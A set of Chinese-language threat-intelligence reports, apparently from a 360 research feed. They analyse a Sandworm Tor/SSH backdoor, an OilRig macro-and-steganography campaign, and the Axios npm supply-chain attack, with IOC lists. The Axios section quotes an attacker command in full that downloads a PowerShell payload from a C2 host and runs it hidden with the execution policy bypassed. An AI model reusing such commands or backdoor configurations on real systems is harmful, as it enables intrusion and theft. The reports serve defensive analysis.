该LNK主要功能是释放多个恶意载荷并执行，其流程是：首先在当前用户的配置文件目录及其子文件夹中递归搜索自身诱饵压缩包（Iskhod_7582_Predstavlenie_na_naznachenie.zip），将其解压至AppData\Roaming\uuidPeriod目录后，定位其中伪装在$RECYCLE.BIN路径下的无后缀文件employeeTrigger并将其强制重命名为.zip格式，随即将其二次解压至AppData\Roaming\outlook目录，最终读取解压出的currentSessionTrigger文件内容，将其作为PowerShell指令启动一个隐蔽无窗口（Hidden）的进程在后台静默执行。其解压后所有的文件如下所示。

为了方便阐述，这里先把该目录中所有的文件功能都列举出来。

1）核心控制与启动

文件名	功能	详细说明
currentSessionTrigger	恶意载荷主控脚本 (Payload)	攻击的核心控制逻辑。负责环境检测、展示诱饵 PDF、注册计划任务以实现持久化，并启动 Tor 和 SSH 服务。
Iskhod_7582_...pdf	诱饵文档 (Decoy)	正常的 PDF 文件。脚本运行后会将其打开给用户看，以掩盖恶意软件正在后台安装的事实。
externalCustomerDate.xml	计划任务配置 (SSH)	用于注册名为 OperagxRepairTask 的任务，确保 operagx.exe (SSH) 在开机/登录时自动运行。
previousAdminResult.xml	计划任务配置 (Tor)	用于注册名为 DropboxRepairTask 的任务，确保 dropbox.exe (Tor) 在开机/登录时自动运行。

2）伪装的服务端程序 (Executables)

文件名	真实身份	伪装对象	功能说明
dropbox.exe	Tor服务端(`tor.exe`)	Dropbox 云盘	负责连接Tor。读取 statusMap 配置，将本地端口映射到 .onion 域名。
operagx.exe	SSH 服务端 (`sshd.exe`)	Opera GX 浏览器	OpenSSH 的守护进程。读取 statePointer 配置，监听本地端口，等待攻击者通过 Tor 隧道连接。
safari.exe	流量混淆插件 (obfs4proxy)	Safari 浏览器	Tor 的插件。将 Tor 流量伪装成普通 TCP 流量，防止被防火墙或流量审计设备发现。
obsstudio.exe	SFTP 服务端 (`sftp-server`)	OBS 直播软件	配合 SSH 使用，允许攻击者通过加密通道从受害电脑上传或下载文件。
ssh-shellhost.exe	SSH 终端主机	(无明显伪装)	OpenSSH 的辅助组件，用于支持在 Windows 上执行 Shell 命令。

3）配置文件与密钥 (Configs & Keys)

文件名	真实身份	功能说明
statePointer	SSH 配置文件 (sshd_config)	指导 operagx.exe 监听本地端口 20321，并指定密钥文件位置。
statusMap	Tor 配置文件 (torrc)	指导 dropbox.exe 创建隐藏服务，暴露 SSH(22)、RDP(3389)、SMB(445) 等端口。
indexWeight	攻击者公钥 (authorized_keys)	存储了攻击者的 SSH 公钥。攻击者凭此密钥即可免密码登录受害主机。
localResponseSummary	主机私钥 (ssh_host_key)	受害机的 SSH 服务端私钥，用于建立加密连接时的身份验证。
localResponseSummary.pub	主机公钥	受害机的 SSH 服务端公钥。

3.攻击组件分析

1）主控脚本分析

Lnk文件运行后，其首先加载的是主控脚本currentSessionTrigger，该文件具体内容如下所示：

currentSessionTrigger脚本作为整个攻击链的初始化核心，集成了环境检测、反取证及持久化部署功能。脚本运行开始即执行严格的沙箱及虚拟机检测逻辑，通过校验%APPDATA%\Microsoft\Windows\Recent路径下的.lnk文件数量（阈值≥10）以及系统当前运行的进程总数（阈值≥50）来判定宿主环境。若任一条件未满足，脚本将判定当前环境为虚拟机或分析沙箱并立即终止运行。在确认环境安全后，脚本会立即执行诱饵展示与痕迹清除操作：将伪装的 PDF 文档（Iskhod_7582_Predstavlenie_na_naznachenie.pdf）移动至用户的 Downloads目录并调用系统命令打开，以此转移受害者注意力。打开的诱饵文档如下所示。

随后，主控脚本递归删除释放目录（uuidPeriod）及脚本自身文件，最大限度消除磁盘取证痕迹。在确保单实例运行方面，脚本创建了名为Global\ratingMethod的系统互斥体，一旦检测到同名互斥体存在即退出，防止多重实例冲突。紧接着，脚本通过读取并修改预置的XML模板（externalCustomerDate.xml 与 previousAdminResult.xml），将模板中的$UserId占位符替换为当前环境的“域名\用户名”，并据此注册名为OperagxRepairTask和DropboxRepairTask的两个计划任务。这两个任务分别伪装成Opera GX浏览器和Dropbox的修复程序，实现了恶意载荷的开机自启与持久化驻留。

脚本最后阶段是建立C2通信通道。脚本进入循环等待状态，持续监测%APPDATA%\outlook\exceptionTag\hostname文件（由Tor服务端启动后生成的隐藏服务标识）是否生成。一旦获取到该文件，脚本读取其前56字节的主机名片段，结合当前用户名与硬编码版本号（3-vquemoxm），拼接成查询参数。随后，脚本调用系统curl命令，通过参数--socks5-hostname localhost:9050强制流量经由本地Tor代理转发，并配合 --retry 1000 及 --retry-all-errors 参数确保持续高频重试，最终将受害者的上线信息发送至硬编码的暗网C2地址（kvk46su7d2qi6g4n43syp4zbsf2rihnc6ztj77qtc2ojvewjqvqilnqd.onion），完成整个攻击链的闭环。下图是Tor服务端运行后的hostname。

2）计划任务分析

在主控脚本中会加载两个XML配置文件，以创建两个计划任务，这两个计划任务具体内容如下：

从这两个XML文件可以看到其核心触发机制配置为 LogonTrigger，即在用户登录时自动执行。模板中的$UserId字段设为占位符，配合前序 PowerShell 脚本的执行逻辑，该字段会在运行时被动态替换为受害者的“域名\用户名”，从而确保恶意任务精准挂载至受攻陷的用户账户下，实现开机即运行。

此外，为了确保恶意载荷的隐蔽性与运行稳定性，配置文件启用了一系列激进的设置。任务被标记为true，使其在任务计划程序的默认UI视图中不可见，以此逃避管理员的常规检查。同时，配置极大地放宽了运行限制：PT0S将执行时限设为 0（即无限制），允许恶意进程无限期常驻后台；而false与false则强制任务即使在笔记本电脑未连接电源的电池模式下也能启动且不被系统终止，绕过了常规的电源节能策略。

最后，通过传递参数 --headless，攻击者指示conhost在不创建任何可见窗口的情况下启动目标程序。被启动的二进制文件operagx.exe和dropbox.exe分别伪装成合法的Opera GX浏览器和Dropbox 云盘进程，实际上是SSH服务端和Tor服务端。此外，启动参数 -f statePointer 和 -f statusMap 进一步指定了软件运行所需的特定配置文件，确保了攻击组件按预定逻辑加载并建立连接。

3）SSH与TOR配置文件分析

下图分别是Tor客户端与SSH客户端配置

a. SSH 服务端配置 (statePointer)：构建隐蔽内网后门

statePointer是一个经过自定义的OpenSSH服务端配置文件，配合伪装成operagx.exe 的 SSHD程序运行。该配置文件的核心策略是“隐蔽监听”：服务被强制绑定在本地回环地址127.0.0.1的非标准高位端口20321上。这意味着该SSH服务不直接对公网开放，防火墙无法从外部扫描到该端口，仅接受来自本机Tor隧道的流量。在身份验证方面，配置明确禁用了密码登录 (PasswordAuthentication no) ，并指定 AppData\Roaming\outlook\indexWeight 为公钥文件(AuthorizedKeysFile)，确保只有持有特定私钥的攻击者才能访问，有效防止了暴力破解和管理员的偶然发现。此外，攻击者还对文件传输功能进行了进程伪装，将SFTP子系统指向名为obsstudio.exe的程序，使其在进程列表中看起来像是OBS直播推流软件，从而混淆视听。

b. Tor隐藏服务配置 (statusMap)：打通暗网穿透隧道

statusMap是标准的Tor客户端配置文件(torrc)，配合伪装成dropbox.exe的Tor程序使用，其目的是将受害主机的本地服务暴露给暗网。配置首先指定HiddenServiceDir 为 "exceptionTag/" ，Tor启动后会在此目录生成私钥和 .onion域名，确立受害主机的暗网身份。随后，攻击者定义了一组精密的“端口映射矩阵”，将Tor网络的虚拟端口流量转发至本地敏感端口：外部访问Tor的20322端口被直接导向本地的SSH服务（20321），构成了主要的控制通道；同时，配置还暴露了Windows的SMB端口 (445映射为11435)和RDP远程桌面端口(3389 映射为13893) ，这表明攻击者意图进行文件窃取、横向移动甚至获取完全的图形化控制权。此外，配置中还包含 12192 和 14763 等非标准端口的映射，为后续攻击预留的端口。为了进一步隐藏踪迹，Tor的运行数据目录被命名为opera，试图伪装成浏览器缓存数据。

攻击者通过SSH与TOR隧道相互配合，可以在受害者核心网络中建立一个永久、匿名、加密、且能全权远程控制的“影子管理台”，以达到窃取敏感信息的目的。

三、逃避与混淆技术

APT-C-13组织针对受害者网络环境中的流量审查、IP封锁等情况也做出了考量，下图是Tor在运行时加载的网桥配置文件。

Tor网络连接启用强制混淆网桥（Obfuscated Bridges）接入机制，而非直接连接公开的Tor入口节点。这种配置策略表明攻击者对目标网络环境有明确的预判，预置了对抗网络封锁的手段。在技术实现上，该配置启用了obfs4混淆协议。通过配置文件中的指令，恶意软件调用了伪装成safari.exe的插件程序（实为obfs4proxy）来处理所有出站流量。obfs4协议能够剥离Tor流量中典型的加密指纹特征，将其重塑为在统计学上看似完全随机的无意义TCP数据流。

这一机制是恶意软件实现深度防御规避的关键。通过混淆流量，攻击者可成功绕过企业级防火墙和国网络审查系统的深度包检测（DPI）审计。无论目标网络是否存在流量白名单或协议阻断策略，该配置都能极大提高通信的生存率，确保受害主机与暗网C2服务器之间的控制通道畅通无阻，实现持续性的隐蔽控制。

四、归属研判

根据对该样本及其执行链路的溯源分析，我们较有把握判定此次攻击活动与Sandworm组织存在关联。首先，恶意载荷伪装成Outlook组件，以及创建计划任务的方法与Sandworm组织历史攻击模式类似。其次，攻击者采用了其标志性的“双层嵌套匿名隧道”架构，利用混淆后的obfs4网桥接入TOR隐蔽网络，并在其隧道内部嵌套SSH服务，实现对受害机445与3389端口的匿名化映射，这种控制手段与境外应急响应机构发布的关于Sandworm组织文章^[1]相似，不同在于公开样本采用NSIS打包，但设计思路一致，其中SSH和TOR的配置文件基本类似，只是从单一样本变成多个样本相互配合的模式，因此本次攻击行动可认为是之前攻击方式的升级。此外，相关公开分析文章^[2]也认为这种攻击技术可能与Sandworm组织存在较强关联性。需特别指出的是，早期网络安全研究公司也曾将此类基于匿名隧道的攻击活动归因于具备强力境外国家背景的黑客组织^[3]。最后，根据捕获的部分样本上传来自于东欧地区，伪装文件使用当地通用语言编写且内容与军事题材有关，结合区域安全态势综合研判，本次活动归属Sandworm组织的可信度较高。

总结

本次发现的APT-C-13（Sandworm)攻击载荷展现了该组织在隐匿通信与持久化战术上的显著迭代与升级，其核心技术路径已由早期的单一木马回连全面转向多个文件协调配合的趋势。此外，在通道构建上通过引入obfs4混淆协议伪装Tor流量，并嵌套具有公钥认证功能的SSH服务端，将受害机内网的SMB与RDP服务直接映射至暗网Onion域名，这种架构颠覆了传统的边界防御模型，标志着该组织其武器库已从基础渗透进化为一种高度专业化、具备全球远程管控能力的匿名运维体系。此外本文披露的样本只是该组织攻击过程中使用的部分载荷，通过对样本进行的深入分析，希望帮助用户了解此类攻击链条及防范手段。同时也提醒用户提高安全意识，在日常工作中谨慎处理未知压缩包、邮件附件和超链接，避免因轻信而在毫无防护的情况下遭受入侵，造成敏感信息和重要数据的泄露。

附录 IOC

MD5:

09f402a02b615dcd14786aaa840db0a2

1b39fce74193dd2cd5c36b2f8b626273

2156c270ffe8e4b23b67efed191b9737

a6d095dc0e01f97db7e74cb5bed402dc

53ac08488544ad1fefd6363db44549cf

227b3fa386cad73f0f388d801060e2c8

0b6f7356919b9632c1158681ee0462f3

4d5074d6e0722ceec45a083fa8444164

99732e49668e56527963742922277459

6616717dfb2a795113b47d862c5412e2

5db8e71b8e82661408f96b43e7ae8faf

487557c9b7288a6b035911a7652ad57c

C2:

kvk46su7d2qi6g4n43syp4zbsf2rihnc6ztj77qtc2ojvewjqvqilnqd.onion

imnlyhj4mtmtesqrvf7c4ma6dkxeyxw3ae53w6fuz42spndg7zpat6qd.onion

2zrek3mkl72d5b6evpkx2rz2glzrltiorgblpfb2ttg6lacwlsdk4iqd.onion

nytiplwknkinobjaeb5tajjiglip3vtaccju6ta7d47u5u64ktrwhrqd.onion

3xl6xhboulyuez6fuydyhj7pdvkshzn4ogsmgwbb3ukrkvgi6bcwvfyd.onion

e3mnde5uyuxjoztup6t3m7nykbicexbzra76ucligwgsaez65w63y2ad.onion

参考链接

[1]https://cert.gov.ua/article/6281701

[2]https://securityonline.info/sandworm-apt-attacks-belarus-military-with-lnk-exploit-and-openssh-over-tor-obfs4-backdoor/

[3]https://cloud.google.com/blog/topics/threat-intelligence/apt29-domain-frontin/

360高级威胁研究院

跳转微信打开

APT-C-49（OilRig）以伊朗最新社会热点事件为诱饵的多阶段钓鱼攻击活动分析

Thu, 09 Apr 2026 18:02:00 +0800

原创高级威胁研究院 2026-04-09 18:02 北京

360高级威胁研究院在APT威胁狩猎中发现该组织以伊朗全国热点性抗议事件为相关诱饵的多个攻击样本

APT-C-49

OilRig

APT-C-49（OilRig）又称APT34、Helix Kitten等，是一个与伊朗情报机构关联的高级持续性威胁（APT）组织，其攻击活动于2016年首次公开披露。该组织主要针对中东地区、美国、欧洲及亚洲部分国家，攻击目标涵盖政府、金融、能源、电信及化工等数十个关键行业，以窃取敏感的政治决策、地缘战略及军事能源领域的机密信息为主要目的。

一、概述

近期，360高级威胁研究院在APT威胁狩猎中发现该组织以伊朗全国热点性抗议事件为相关诱饵的多个攻击样本，这些样本以excel文件为入口，通过编译释放的C#源码生成恶意加载器。该加载器依次访问GitHub仓库获取配置数据、解析指向Google Drive的图片链接，并运用LSB隐写技术从图像中提取加密配置信息，最终解密后续模块下载链接，实现多阶段载荷动态加载与Telegram Bot通道的加密C2通信，形成高度隐蔽的云滥用+隐写+内存执行攻击链。

二、攻击活动分析

1.攻击流程分析

OilRig组织近期以伊朗全国性抗议事件为相关主题的钓鱼攻击中，投放了高度隐蔽的Excel宏文档，这些样本利用社会热点事件（如“德黑兰xx名单、最终名单_德黑兰xx.xlsm”等）伪装诱饵，诱导目标启用宏后触发多阶段感染链：首先通过VBA宏从CustomXMLParts解码出C#源代码，现场调用csc.exe编译成恶意加载器；该加载器启动后访问硬编码的GitHub仓库，从中读取经编码的配置数据，解析得到Google Drive共享链接；链接指向一张看似普通的图片，但内部采用LSB（最低有效位）隐写技术嵌入加密配置；加载器提取并解密配置后，获取多个后续模块的下载地址，逐一下载并动态加载窃密、命令执行等功能模块，最终通过Telegram Bot API建立加密C2通道，实现命令控制、数据窃取与回传。流程如下所示：

2.载荷投递分析

MD5	717da2804144e9759c4e6409f18b7b4b
文件名称	یست نهایی_جانباختگان_دی_1404_تهران_بخش دوم.xlsm
文件大小	724字节

“یستنهایی_جانباختگان_دی_1404_تهران_بخشدوم.xlsm”是一个携带宏代码的恶意文件，翻译为“最终名单_德黑兰xxxx.xlsm”。伊朗历1404年1月，对应的是公历2025年12月21日至2026年1月19日，推测可能是与2026年伊朗最新社会热点事件相关。

一旦受害者打开该恶意文档，当启用宏之后，宏代码会依次获取名为“evil”，“p2”，“p3”的customXml对象。然后再将其Base64解码，依次得到C#源码，AppVStreamingUX.exe.config和fsvc.exe.config，并将C#源码释放到临时目录下。

接着优先将AppVStreamingUX.exe文件拷贝到“%LOCALAPPDATA%\WindowsMediaSync”，如果拷贝失败，则将“dfsvc.exe”文件拷贝到%LOCALAPPDATA%\WindowsMediaSync目录下。并将AppVStreamingUX.exe.config，dfsvc.exe.config同步释放到%LOCALAPPDATA%\WindowsMediaSync目录下，并使用csc.exe编译生成“AppVStreamingUX_Multi_User.dll”。

然后将内嵌的xml文件写入到task_def.xml文件中。

最后创建计划任务，路径设置为拷贝的白文件路径，当白文件(AppVStreamingUX.exe或者dfsvc.exe)执行时，就会加载编译好的恶意AppVStreamingUX_Multi_User.dll文件。

2. 3.攻击组件分析

3.攻击组件分析

“یستنهایی_جانباختگان_دی_1404_تهران_بخشدوم.xlsm”会将内嵌在恶意载荷中的C#源码释放到%TEMP%~[temp].cs。这是一个高度模块化的后门程序。

当CLR创建AppDomain时，会自动触InitializeNewDomain()方法，从而启动线程ExecuteCoreLogic()。

首先，会打开“%LocalAppData%\\Microsoft\\CLR_v4.0_32\\NativeImages\\ImageConfigFile8.Lock”文件，以保证单一实例。

获取当前进程的路径。如果出现异常，就实现重启。

接着获取远程的配置信息，主要通过下面四个步骤实现。

第一步：获取“https[:]//gist.github.com/johnpeterson1304/d7bc6b1e29bfc64d237b1a7cbbc653b8”中“tamiManager.txt”文件的内容。

第二步：将“tamiManager.txt”的内容使用Base64解码，得到下一阶段的下载链接https[:]//drive.google.com/uc?export=download&id=16tJgaxgsIl-F5l_ftyqItFo8SxpuaQPv，通过该链接可以下载一个名为“MIO9.png”图片

第三步：攻击者使用图片隐写术，将配置信息嵌入到该图片中，然后使用特定LSB算法提取配置信息。

第四步：根据XORKey，依次使用Base64+XOR解密获取配置信息，并将配置信息进行填充，xor表示异或解密使用的Key，tel表示token，chat为chatId，m1-m5分别是下一阶段模块的下载地址，其余字段未使用。

最终获取的配置信息如下：

对该配置解密得到Google Drive链接，这些链接分别指向pr（持久化模块），up（上传模块），do（下载模块）,cm（命令执行模块）和runApp（程序执行模块）。

接着通过GitHub API获取指定Gist中的配置文件（etagtest.txt），然后解析内容并抢占标记为"FREE"的配置项（将其状态更新为"USED"），最后将包含Telegram Bot Token和Chat ID的配置信息写入本地缓存（CONF.dat）以便后期使用，并同步更新Gist的配置文件etagtest.txt中。

然后使用内存加载的方式执行各个模块，从上述得到的谷歌云盘URL获取解密数据，解密方式依然采用base64+xor的方式如下所示：

首先加载的是pr模块，目的是实现持久化。传入的参数是moduleName和当前路径appPath。根据moduleName参数选择需要下载的C#的源码，然后进行编译，最后通过内存加载的方式执行pr模块。

pr模块实际上是一个实现计划任务的功能，持久化路径是传入的参数，也就是当前进程路径。

然后通过telegram API发送"is online"消息，实现心跳上线。

然后通过Telegram Bot API实现C2通讯交互从而实现远程控制，目前支持的功能有dllexec，upload，download，cmd，runapp。

dllexec的功能是dll模块内存加载，可以通过编译CS源码执行Dll，也可以通过指定的Dll路径执行文件。

up功能为文件上传，它是通过内存执行up模块实现的。up模块内容如下：

download功能是文件窃取，它是通过执行do模块实现的，do模块内容如下：

需要说明的是，do模块中存在大量波斯语的注释。

Cmd的功能是命令执行，它是通过执行cm模块实现的，cm模块的内容如下：

Runapp的功能是执行程序，它是通过加载RunApp模块实现的，RunApp的内容如下：

值得一提的是我们发现该github用户johnpeterson1304的名下，还存在多个命名规则相似、仅包含单一txt文件的独立仓库，其文件内容均为 Base64编码字符串，用于外部资源（Google Drive）下载链接的托管与分发，这些链接都是指向图片,对这些图片使用LSB算法提取配置信息并解密后得到的信息相同，后续和上述分析一致。

此外在该仓库下我们还发现本次攻击行动的测试样本，相较测试样本，现在版本在隐蔽性和功能扩展性上有了显著提升，增加了对动态编译源码的支持，还增加了直接内存加载 DLL的方式。这样的目的使得攻击载荷的下发更加多样化且难以追踪。

三、归属研判

通过对本次攻击事件的详细分析，综合初始载荷的执行入口设计、关键技战术要素及完整攻击链条特征判断，该样本在整体作战思路与工程实现层面与APT34历史活动高度一致，具体表现如下：

1. 初始载荷和APT34以往样本的技战术保持极高一致性^[1]，都以Excel的工作簿事件作为主要入口点，并且都涉及sheet操作（以往样本是可见性切换来实现反沙箱/诱导启用宏，本次样本升级为针对特定字符的内容损坏/恢复机制，可能用于迷惑用户以便动态编译payload）。此外，更重要的是攻击链条高度统一：VBA宏+Base64解码（从UserForm或CustomXMLParts提取）+写入.exe+同名.config配置文件+XML定义的定时任务（schtasks或Schedule.Service）+.NET载荷执行。该链条在组件拆分方式、数据承载位置选择以及持久化实现路径上均与APT34历史样本保持一致，呈现出明显的家族化与工程化特征。

2. 该组织近年来不断通过滥用合法云平台来掩盖其恶意流量，本次使用谷歌云盘下发数据和使用Telegram作为C2通信也与该组织以往技战术符合。

3. 无论是前期测试代码还是本次实际的攻击代码均存在波斯语的注释，说明攻击者以波斯语为母语，符合攻击者身份。

综上所述，将本次攻击归属到APT-C-49（OilRig）组织。

总结

APT-C-49（OilRig）近年来持续对其攻击链进行演进与升级，整体呈现出对抗能力增强与执行方式现代化的趋势。该组织由早期依赖 Excel宏触发的Saitama loader，逐步演进为结合宏混淆重构、云服务滥用与隐写技术的多阶段攻击链，并在后续阶段明显向无文件与内存执行模式转型。通过利用 Google Drive、GitHub、Telegram 等合法平台进行配置分发与C2通信，OilRig有效降低了静态与行为检测暴露面，体现出其针对 EDR 与云环境监测的持续适应能力。

此外本文披露的样本只是该组织攻击过程中使用的部分载荷，通过对样本进行的深入分析，希望帮助用户了解此类攻击链条及防范手段。同时也提醒用户提高安全意识，在日常工作中谨慎处理未知压缩包、邮件附件和超链接，避免因轻信而在毫无防护的情况下遭受入侵，造成敏感信息和重要数据的泄露。

附录 IOC

MD5

717da2804144e9759c4e6409f18b7b4b

07aa715f8a6f56a96476aae0ebca17c7

d0d17a50422e3d4a0a50fed0878a47d6

ca002f49f3d5ee36ded21e235e8d04e7

9c0409be11a6c4433896db58e7095464

参考

https://www.threatdown.com/blog/apt34-targets-jordan-government-using-new-saitama-backdoor/

团队介绍

TEAM INTRODUCTION

360高级威胁研究院

跳转微信打开

Axios供应链攻击事件再追踪：线索直指Lazarus组织

Wed, 01 Apr 2026 20:16:00 +0800

高级威胁研究院 2026-04-01 20:16 北京

本次报告，我们继续对事件进行进一步的追踪披露，并结合360安全大脑的最新威胁情报数据，进一步开展归因分析

此前，我们发布了《Axios npm供应链攻击威胁分析报告》，系统性披露了攻击者劫持维护者账号、在package[.]json中注入“幽灵依赖”plain-crypto-js@4[.]2.1、通过postinstall钩子释放跨平台RAT等核心技术细节，并给出了详细的时间线、IOC指标及应急响应建议，迅速成为行业内重要的参考资料。

本次报告，我们继续对事件进行进一步的追踪披露，并结合360安全大脑的最新威胁情报数据，进一步开展归因分析。

一、概述

axios是一个基于Promise的HTTP客户端，在JavaScript和Node.js 生态系统中被广泛使用。

2026年3月30日，axios遭遇供应链攻击。攻击者成功劫持了维护者账户(jasonsaayman)，在npm官方仓库发布了两个恶意版本（axios@1[.]14.1和axios@0[.]30.4），通过注入恶意依赖plain-crypto-js@4[.]2.1，该包此前并不存在，且从未被axios代码实际导入。其唯一目的是执行一个安装后脚本，该脚本会释放并运行一个针对macOS、Windows和Linux的跨平台远程控制木马（RAT）。恶意版本在npm上存活约3小时后被下架。

结合360安全大脑数据，我们将axios入侵事件与我们跟踪的一起Lazarus组织活动关联起来，二者使用多处相同的命名及相似代码结构。同时，axios入侵事件使用的样本与早期被披露的RustBucket恶意组件存在关联。因此我们认为此次axios入侵事件归属到Lazarus组织。

Lazarus组织长期通过感染npm包的方式进行供应链攻击，依据以往攻击手法，攻击人员预先通过求职/招聘/面试等方式向开发人员投递钓鱼链接/被感染的工程项目，致使开发人员被攻击，随后攻击者再通过窃取开发人员账号发布被污染的工程项目，以实现供应链攻击。

二、归属研判

在我们持续监控Lazarus组织的活动中，该组织发起了一项攻击活动，在该活动中，受害者被从消息平台例如Telegram引诱到会议相关诱饵中，例如Zoom会议，随后下发及诱导执行PowerShell相关脚本从而可以多平台上执行实时命令和窃取凭据。Daylight也披露过同类活动，将其跟踪为GhostCall活动。

在之前攻击活动中，攻击者使用的样本(ea3192f64b9988889d5f8c61be637d2a)名为“c:\programdata\system.bat”,从恶意域名microsmeet[.]xyz和bluyy[.]com下发载荷。经过分析比对axios入侵事件们发现:

样本的命名与命令行基本一致;
建立的注册表项 Run 项均是MicrosoftUpdate;
与Daylight报告披露的Lazarus组织的基础设施一致。

图1 089e2872016f75a5223b5e02c184dfec与ea3192f64b9988889d5f8c61be637d2a样本命令行一致

因此我们以强烈的信心将axios入侵事件与我们持续跟踪的Lazarus组织活动(也称为GhostCall活动)关联起来。

其次，在2023年4月21日的报告中，Jamf Threat Lab披露了名为“RustBucket”的 macOS 恶意软件变种。该报告披露第三阶段载荷(182760cbe11fa0316abfb8b7b00b63f83159f5aa)包含webT模块。

图2 RustBucket样本模块信息

在分析axios入侵事件，我们提取了macOS平台样本的构建信息，可以看出项目名称为macWebT，与上文webT字符串同类。

/Users/mac/Desktop/Jain_DEV/client_mac/macWebT/macWebT/
/Users/mac/Library/Developer/Xcode/DerivedData/macWebT-hlbytmqtodqtmmfrlgcunsjzzmop/Build/Intermediates.noindex/macWebT.build/Release/macWebT.build/Objects-normal/arm64/main.o (raw binary string)
/Users/mac/Library/Developer/Xcode/DerivedData/macWebT-hlbytmqtodqtmmfrlgcunsjzzmop/Build/Intermediates.noindex/macWebT.build/Release/macWebT.build/Objects-normal/x86_64/main.o (raw binary string)

因此，我们认为此次axios入侵事件是Lazarus组织所为。

三、处置建议

参照此前报告：《Axios npm供应链攻击威胁分析报告》

附录 IOCs

kenaikoda[.]com

teams.onlivecall[.]com

23.254.204[.]101:80

3f47643c7a5cbf132f46b4cba75d1aa3

db07741e586bfae526730c592a2ffe6a

ea3192f64b9988889d5f8c61be637d2a

41372946fe231c73750428700f6015fb

360高级威胁研究院

跳转微信打开

Axios npm供应链攻击威胁分析报告

Tue, 31 Mar 2026 19:21:00 +0800

360威胁情报中心 2026-03-31 19:21 北京

本次攻击采用“幽灵依赖 + 诱饵版本 + 自清理”策略，能够在不触发常规源码差异检查的情况下完成投毒，并在短时间内完成发布、感染与下线

2026年3月31日，npm生态中广泛使用的JavaScript HTTP客户端库Axios遭受供应链攻击。攻击者通过劫持合法维护者账号jasonsaayman，在未修改任何仓库源代码的情况下，仅在package.json中注入了恶意二次依赖 plain-crypto-js@4.2.1实施攻击。该依赖的 postinstall 生命周期钩子会在安装阶段自动执行，下载并部署跨平台远控木马（RAT），覆盖macOS/Windows/Linux。

本次攻击采用“幽灵依赖 + 诱饵版本 + 自清理”策略，能够在不触发常规源码差异检查的情况下完成投毒，并在短时间内完成发布、感染与下线。恶意版本axios@1.14.1与axios@0.30.4的存活时间均不足3小时，已被npm官方紧急下架。

*风险提醒*

任何在2026年3月31日北京时间08:21之后执行npm install的环境，若依赖范围为1.14.0或0.30.0，均可能已遭感染。建议立即执行版本锁定、环境审计、IOC 扫描与凭证轮换。

一、事件背景

Axios是npm生态中下载量最高的包之一，周下载量超过1亿次，直接或间接依赖项目超过17.4万个。攻击者通过npm发布凭证劫持实现投毒，未对GitHub仓库源码进行任何改动，仅利用postinstall生命周期钩子完成后门植入。

该攻击手法与近年来多起npm供应链事件高度一致：

基础组件维护者账号安全（MFA/Token 管控）的关键性；
安装脚本（preinstall/install/postinstall）在默认执行策略下的固有风险；
仅依赖“源码审计/差异对比”的安全策略存在盲区。

二、详细攻击时间线

2026-03-30 13:57，发布plain-crypto-js@4.2.0（干净诱饵版本），用于建立发布历史与可信度；
2026-03-31 00:03:46，恶意C2域名 sfrclak.com 完成注册；
2026-03-31 07:59，发布plain-crypto-js@4.2.1（恶意版本，植入 postinstall 钩子）；
2026-03-31 08:21，发布axios@1.14.1（主版本），自动依赖恶意包并注入 RAT（回连 sfrclak.com:8000）；
2026-03-31 09:00，发布axios@0.30.4（0.x 分支版本），同样植入后门；
2026-03-31 10:35，开发者社区及厂商开始大规模警报传播；
2026-03-31 11:15，npm官方紧急下线两个恶意Axios版本；
2026-03-31 12:26，npm为plain-crypto-js发布安全占位版本，阻断攻击链。

三、技术分析

3.1 攻击手法概览

•初始访问：劫持npm维护者账号jasonsaayman，将联系邮箱修改为ifstap@proton.me（用于接收通知/找回/验证）。

•执行：仅修改 package.json，注入“源码中未引用”的幽灵依赖plain-crypto-js@^4.2.1，并移除 prepare 脚本以降低构建阶段暴露。

•持久化与自清理：postinstall执行混淆的setup.js，按平台下载payload，随后主动覆盖自身package.json为干净版本并删除临时痕迹。

•命令与控制（C2）：http://sfrclak.com:8000/6202033（IP：142.11.206.73），仅支持 POST 请求，User-Agent 伪装为旧版 IE，约每 60 秒 beacon 通联。

3.2 混淆技术（setup.js）分析

setup.js 采用多层混淆（Base64 + 字符反转 + XOR 加密等），解混淆后可见 child_process、os、fs、http 等模块调用与平台判断逻辑，用于分发不同平台的后续载荷并执行落地。

3.3 平台特定 Payload 行为概览

三个平台的荷载虽然用三种语言写的，但是在代码结构上几乎一模一样，疑似使用AI生成。

平台	典型部署位置	典型执行方式	主要行为
macOS	/Library/Caches/com.apple.act.mond	AppleScript → zsh	下载 payload、清理临时目录、自删除
Windows	%PROGRAMDATA%\wt.exe	VBScript → PowerShell	隐藏窗口执行、持久化、远控通联
Linux	/tmp/ld.py	nohup python3	后台 RAT、痕迹擦除

3.4 Windows PowerShell Payload分析

本节对 Windows 阶段载荷（PowerShell 远控木马）的行为分析，用于支撑已感染主机的取证、检测与响应。

3.4.1 载荷拉取与执行链

攻击者将PowerShell解释器/二进制复制到 %PROGRAMDATA%\wt.exe，随后通过 curl 从 C2 拉取下一阶段 6202033.ps1 并以隐藏窗口方式执行。执行完成后删除临时脚本以降低取证可见性。

关键命令（示例）：

curl -s-X POST -d"packages.npm.org/product1""http://sfrclak.com:8000/6202033">"%UserProfile%\AppData\Local\Temp\6202033.ps1" \
&"C:\ProgramData\wt.exe" -w hidden -ep bypass -file"%UserProfile%\AppData\Local\Temp\6202033.ps1""http://sfrclak.com:8000/6202033" \
&del"%UserProfile%\AppData\Local\Temp\6202033.ps1"/f

要点：

•C2 地址通过脚本参数传入（便于复用同一载荷投递不同节点）

•-ep bypass 绕过PowerShell执行策略

•下载—执行—删除形成短链路落地

3.4.2 功能模块与关键行为

该PowerShell载荷为远控木马，核心能力包括：

1) 持续驻留：将PowerShell命令保存为批处理文件并写入注册表Run启动项实现自启动。

2)文件遍历与信息回传：遍历 %USERPROFILE%\Documents、Desktop、OneDrive、AppData\Roaming 等目录，并扩展遍历所有盘符，收集文件清单后回传 C2。

3)环境探测：回传运行进程列表、用户名、机器名、操作系统版本/类型、安装时间、时区、启动时间与当前时间、硬件型号等基础信息。

4)反射注入（peinject）：当C2下发 type=peinject 指令时，载荷将下发的 shellcode 或 DLL 以反射方式注入至当前进程，实现内存驻留与更强的对抗能力。

5)脚本执行（runscript）：当C2下发type=runscript指令时，执行其携带的脚本内容并回传结果。

6)指定目录遍历（rundir）：当C2下发type=rundir指令时，遍历下发数据中指定目录并回传枚举结果。

3.4.3 检测与响应方法

•网络侧：重点关注对sfrclak.com:8000的POST出站通信与周期性beacon特征。

•主机侧：

–注册表 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 中的异常启动项（启动项名：MicrosoftUpdate）

